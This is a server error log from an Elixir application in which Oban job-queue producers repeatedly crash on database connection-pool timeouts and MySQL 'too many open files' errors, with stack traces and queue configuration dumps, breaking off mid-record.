State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:29:00.242736Z], limit: 5, uuid: "f891a890-9a33-4953-8ab3-ee32194ce8bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:00.242741Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8533>, refresh_timer: #Reference<0.2525715032.1121189889.117750>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:29:00.243551Z], limit: 20, uuid: "2d5bf01d-df8f-4891-8a65-bca29c29045e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:00.243557Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8532>, refresh_timer: #Reference<0.2525715032.1068498948.8522>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:15.119000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:16.901000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:19.118000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:20.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:21.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:22.053000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:29:12.239924Z], limit: 50, uuid: "61a25972-af5a-46e9-8514-96157e799aeb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:12.239928Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8886>, refresh_timer: #Reference<0.2525715032.1099431938.18532>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:29:12.239309Z], limit: 5, uuid: "89eedc04-13f8-494c-ad58-8523f362170c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:12.239314Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8884>, refresh_timer: #Reference<0.2525715032.1099431938.18513>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:29:12.240011Z], limit: 3, uuid: "45d63765-fb14-4747-9486-4dbbad23a509", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:12.240017Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8883>, refresh_timer: #Reference<0.2525715032.1068498948.8847>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:29:12.242808Z], limit: 20, uuid: "dc91c28a-bfe8-406b-85bf-9daa71a5e48c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:12.242813Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8882>, refresh_timer: #Reference<0.2525715032.1068498948.8872>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:29:12.241208Z], limit: 5, uuid: "71c3fe31-0ede-4bc0-b723-a1ba4f1803f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:12.241214Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8885>, refresh_timer: #Reference<0.2525715032.1099431938.18540>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:29:12.239175Z], limit: 10, uuid: "4f9ecbca-65a1-4599-bca6-f67e8d7ec9b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:12.239182Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.18545>, refresh_timer: #Reference<0.2525715032.1099431938.18511>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:28.091000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:28.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:29.168000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:30.414000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:33.194000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:33.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:36.045000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:36.824000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:29:24.241247Z], limit: 10, uuid: "4c509651-2abb-4b66-9513-736faf91a719", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:24.241252Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, 